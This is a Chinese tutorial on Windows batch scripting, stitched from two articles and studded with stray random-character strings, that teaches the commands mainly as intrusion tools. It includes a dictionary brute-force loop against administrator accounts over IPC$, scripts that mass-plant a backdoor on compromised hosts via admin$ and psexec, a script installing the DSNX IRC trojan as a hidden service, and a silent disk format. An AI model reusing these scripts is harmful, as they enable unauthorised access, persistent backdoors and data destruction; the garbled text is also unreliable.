一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:
@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
( C' ?. O; P7 J8 j, C) C" h3 Q
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite…
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
& a! w2 O+ W3 z$ ~3 c; `' H& m, ^3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
% X! n6 O: l- L0 n; Q+ a! B4.Rem 命令
注释命令,在C语言中相当与/*——–*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
3 J5 G6 i2 n+ M- ?& g* t' R5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
% M9 o, }$ g' S( f5 G; ?
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
参数
[Drive:}[Path] FileName- ]- W! a6 ~, c
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
; w& @ V0 Q2 w* x! z4 s; E3 K! [) @
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
. [: J1 c% ]6 G! l6 @0 a& b
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
9 z) F) B, d+ L+ k: V此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都 以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
& n' K. w9 n- o1 y0 f
9.If 命令
$ m0 q6 R6 u; }" |- d5 V$ oif 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if “参数” == “字符串” 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if “%1″==”a” format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
. n; e* B1 b+ O: q1 Y6 I2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
2 o" ^2 C, v/ {8 E6 g3 N3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
3 b6 U$ b8 V+ w7 R10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
" x {# l4 C: Q' k, m
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
4 E8 _" W# w; m6 A如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
; C: h$ m$ O; E5 ?# ]
FOR /D %variable IN (set) DO command [command-parameters]
B% j" ^6 \ l' f1 s
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
( f5 L( \0 z- |+ j& ?7 k& ?: C6 `FOR /R [drive:]path] %variable IN (set) DO command [command-
8 Z6 a% b+ D2 U) G/ i) B D9 x检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
9 D) z3 `5 K& T9 YFOR /L %variable IN (start,step,end) DO command [command-para
/ o ^# Q. z, w' X& S6 W* Y
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
( y: ~; E y4 B3 j, n g3 _4 XFOR /F [“options”] %variable IN (file-set) DO command
FOR /F [“options”] %variable IN (“string”) DO command
FOR /F [“options”] %variable IN (‘command’) DO command
5 Y& D/ [: _1 Y$ y# |4 F4 x6 @或者,如果有 usebackq 选项:
- y9 X$ K+ x9 f4 p
FOR /F [“options”] %variable IN (file-set) DO command
FOR /F [“options”] %variable IN (“string”) DO command
FOR /F [“options”] %variable IN (‘command’) DO command
6 q% f+ @' {9 R- Zfilenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 “options”
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
7 I0 S. C8 Q' y% P, ^
eol=c – 指一个行注释字符的结尾(就一个)
skip=n – 指在文件开始时忽略的行数。
delims=xxx – 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq – 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
e9 X# X. h# G' X$ d, C# s# o
sample1:
FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do command
( J% N% |9 L6 E# M$ k' F9 _" }' X3 A
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
5 t/ D* v* M3 r T2 u: r) y
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 ‘z’ 或
‘Z’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
! p2 ^. Q2 S1 |: G您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
' x- q( a3 w4 s* L" I8 z2 M
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
+ a% s% `+ g" h- A, ~. |: {
FOR /F “usebackq delims==” %i IN (`set`) DO @echo %i
4 u0 P, R' Z8 B! c7 m
会枚举当前环境中的环境变量名称。
- T. k& B2 Y3 \1 d T& N& T/ f另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
8 P; H: j3 \9 D" r+ [. }3 \3 B
~I – 删除任何引号(“),扩充 %I
%~fI – 将 %I 扩充到一个完全合格的路径名
%~dI – 仅将 %I 扩充到一个驱动器号
%~pI – 仅将 %I 扩充到一个路径
%~nI – 仅将 %I 扩充到一个文件名
%~xI – 仅将 %I 扩充到一个文件扩展名
%~sI – 扩充的路径只含有短名
%~aI – 将 %I 扩充到文件的文件属性
%~tI – 将 %I 扩充到文件的日期/时间
%~zI – 将 %I 扩充到文件的大小
%~$PATH:I – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
n5 R$ v z4 t* _可以组合修饰符来得到多重结果:
: [6 ~) A3 w# m( ^5 [$ L1 x1 j%~dpI – 仅将 %I 扩充到一个驱动器号和路径
%~nxI – 仅将 %I 扩充到一个文件名和扩展名
%~fsI – 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI – 将 %I 扩充到类似输出线路的 DIR
6 ]/ o0 j# R4 ` X- m: I7 Y% u; q在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
+ a6 X! T+ S+ A0 E7 G- ^
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
% J. U1 Z7 \. w8 ]1 T+ h; a
sample2:
9 R! l# ~ \( S, L9 d( O利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \ipipc$ “password” /u:”administrator”来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ “i%” /u:”administrator”
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \ipipc$ “i%%” /u:”administrator”|find “:命令成功完成”>>D:ok.txt ,这样就ko了。
9 y* t/ ]5 }- q+ S' g2 Z k4 gsample3:
8 x8 H9 `$ e; O+ w" L你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
- X7 D& G9 G% d9 x. k
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
————— cut here then save as a batchfile(I call it main.bat ) —————————
@echo off
@if “%1″==”” goto usage
@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
————— cut here then save as a batchfile(I call it main.bat ) —————————
h6 G4 Q4 D: j, I; m- u* a9 s- ?4 \
! D( T- v/ w8 F ?1 i——————- cut here then save as a batchfile(I call it door.bat) —————————–
@net use \%1ipc$ %3 /u:”%2″
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \%1 c:winntsystem32windrv32.exe
@p***ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
—————– cut here then save as a batchfile(I call it door.bat) ——————————–
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),P***ec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
# ?, o$ l9 R$ U4 T: o二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if “%1″==”a” format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \1%ipc$ “2%” /u:”3%” 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.
8 }8 [, ~+ j3 p F8 F8 k
三.如何使用组合命令(Compound Command)
& f3 `) Y3 w; E* E1.&
3 j& w" d1 ^+ }4 n% o, j/ ]Usage:第一条命令 & 第二条命令 [& 第三条命令…]
0 a. F+ f7 P+ N5 s用这种方法可以同时执行多条命令,而不管命令是否执行成功
! o$ M4 s' ?0 Y
Sample:
C:>dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
, I. W, S" m& r6 V7 ADirectory of c:Ex4rch
9 [6 f& h# K4 F) U5 e- v# S
2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
L- h% ~/ J6 h7 E9 T/ w- W5 E2.&&
4 b: S [5 l2 \0 w# G
Usage:第一条命令 && 第二条命令 [&& 第三条命令…]
4 H8 e* [: p, g
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
* a" W% T% |% [$ l: E% b
Sample:
C:>dir z: && dir c:Ex4rch
The system cannot find the path specified.
4 `" I4 j5 D7 x; iC:>dir c:Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
" X" X4 \+ g' _$ ~% ~, pDirectory of c:Ex4rch
! m% C Q! e7 N9 R5 o }2002-05-14 23:55
.
2002-05-14 23:55
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
7 K( Y! X2 |. U( \3 W0 l' f9 o
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
% ? d. t) D& z6 o3.||
! k8 q5 t/ W# {" x- e& \
Usage:第一条命令 || 第二条命令 [|| 第三条命令…]
/ C& L1 B" t4 C( X$ Z. i5 s2 n用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
( R8 R, Z, x! tSample:
C:Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
+ k' c3 h8 x- wDirectory of C:Ex4rch
6 h2 u- |5 O% D' ]
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
$ u& w" e( g! |1 e2 a
组合命令使用的例子:
sample:
@copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
! g4 P W! z5 t7 t7 y! m
四、管道命令的使用
$ b/ \ o% d- K+ `* B2 w$ m
1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令…]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
& t# t8 {! c( ]6 `8 d& V( T. Qsample:
time /t>>D:IP.log
netstat -n -p tcp|find “:3389”>>D:IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
0 E4 _! T% A: q- h2 N. p
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
3 u# T$ L4 ?4 C& X1 l! csample1:
echo hello world>c:hello.txt (stupid example?)
: D6 Y4 P/ }; ^
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD–转换目录到system32–dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如 果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
* @7 T6 l* |6 A4 f
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
3 R' G, r. w- |! `- }. K7 C! b& \) |
五.如何用批处理文件来操作注册表
* H, V9 A- p' @; R1 }7 m" J
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如: 为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都 需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
' J6 W1 D" W7 [" D1.创建
创建分为两种,一种是创建子项(Subkey)
* l& ? V2 f8 R* y
我们创建一个文件,内容如下:
2 g* H9 E( |2 a: @
Windows Registry Editor Version 5.00
4 y2 R4 x" U) W2 C9 ^
[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker] a w) j7 R2 _) k' n: }! D
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。
6 W1 o5 S" n( u: g) N
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
3 S# Z5 |% d2 C* _# x
Windows Registry Editor Version 5.00
\8 c5 Q8 m. ~$ z4 ^! P[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]“Invader”=”Ex4rch”
“Door”=C:\WINNT\system32\door.exe
“Autodos”=dword:02
/ R+ x) c: T9 G- G ]% m7 K8 v这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
3 ]" \5 N+ u9 v1 u+ _1 D8 s6 o) x' E, m( ]2 y l9 u
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
, V) ~2 y5 @ |8 |3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
; @; Q# B3 Z+ g1 v' K' |Windows Registry Editor Version 5.00
( a. w+ {% H% E[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]“Ex4rch”=-
; h5 L% l% |0 z7 F执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的”Ex4rch”就被删除了;
7 D+ Q- E N/ P4 E- m我们再看看删除一个子项,我们创建一个如下的脚本:
8 s X5 X: t2 Y
Windows Registry Editor Version 5.00
' I! Z: @3 m4 T6 k1 x$ b! s+ {4 U3 o; S[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]; b6 z* @( a% v
执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。
& @* i8 w& y6 q4 U: W
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
! w0 f- C: W3 _3 R; `. e# c% }3 j
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
4 K0 ?( D3 O# e$ d[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]“Invader”=”Ex4rch”
“door”=hex:255
“Autodos”=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
# r; ~1 j$ h2 o0 n
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
@echo “Invader”=”Ex4rch”>>Sample.reg
@echo “door”=5>>C:\WINNT\system32\door.exe>>Sample.reg
@echo “Autodos”=dword:02>>Sample.reg
5 G3 R1 C- M7 u$ V% J8 d4 W- Y3 o
samlpe2:
我们现在在使用一些比较老的木马时, 可能会在注册表的 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将 木马程序注册为系统服务则相对
安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
@echo “windsnx “=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
@regedit /s patch.dll
@delete patch.dll
1 ]' ?, c* i$ L q, K$ m: g1 ?+ b@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键**的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.
, z$ x0 a% p5 c3 z2 h' C' o+ q; L
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
$ R5 L( C' n* O0 q; M/ R- `& q- W( H& A) Z3 r; W! a3 O
: V f9 k6 o; {$ P3 @, k
7 u' U8 ]9 M; C% ~ }
& w; c( i9 F8 c* v
- G( a$ j' j0 g" T6 m
+ X) t* x3 z( q5 G3 d
8 g V# B7 C% E3 Rwin2k下的批处理BAT文件运用
日期:星期三 2004 03 10 作者: 人气: 1478 查看:[大字体 中字体小字体]
1 N- V0 \+ I0 ?4 J8 R0 S
' J4 R+ V! G% d9 K Q7 t
L2 J- v( R, p
- 所有内置命令的帮助信息
- 环境变量的概念
- 内置的特殊符号(实际使用中间注意避开)
- 简单批处理文件概念
- 附件1 tmp.txt
- 附件2 sample.bat
) ~, A5 P6 \4 M p6 g& a! E
: Y9 l% d; V. a2 m$ p9 B- `. @# ]1 ~######################################################################
- 所有内置命令的帮助信息# d0 u6 m% w. L6 |; e; _4 _
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________
5 K9 x, s; E% I7 B: X2 @; O######################################################################
- 环境变量的概念6 C& g" r+ |+ V# Z0 [7 s
######################################################################
_____________________________________________________________________________
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
_____________________________________________________________________________
5 d$ T$ H1 X7 G p+ `7 tpath: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
5 X. ]/ O/ p* c$ e' l输出文件到临时文件目录里面.这样便于当前目录整洁.
: M/ }2 c% Q5 r
对有空格的参数. 你应该学会使用双引号(“”) 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47
Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
$ `1 A! J1 Q2 F# ~* i
C:\>cd pro*
C:\Program Files>
" u L. d- i* _% ^C:\>
C:\>cd “Program Files”
C:\Program Files>
J" v3 ~) l5 U; T. @
8 Q1 s0 n" I8 |" x( s, |######################################################################
- 内置的特殊符号(实际使用中间注意避开)
& b. Q; q5 Y" S2 i* E1 O
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / | || && ^ > < *
7 Q4 k7 F1 R' e) nYou can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号””了)
To create the variable value new&name, type:
set varname=new^&name
& }: C5 d& W6 O# _) }" o. H; o
To create the variable value “new&name”, type:
set varname=”new&name”
7 O; P2 e" q/ r% z% OThe ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
# b6 Q2 m$ Z! b) nfind “Pacific Rim” < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
# S/ a5 b5 A( B, U0 B> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令…]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令…]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
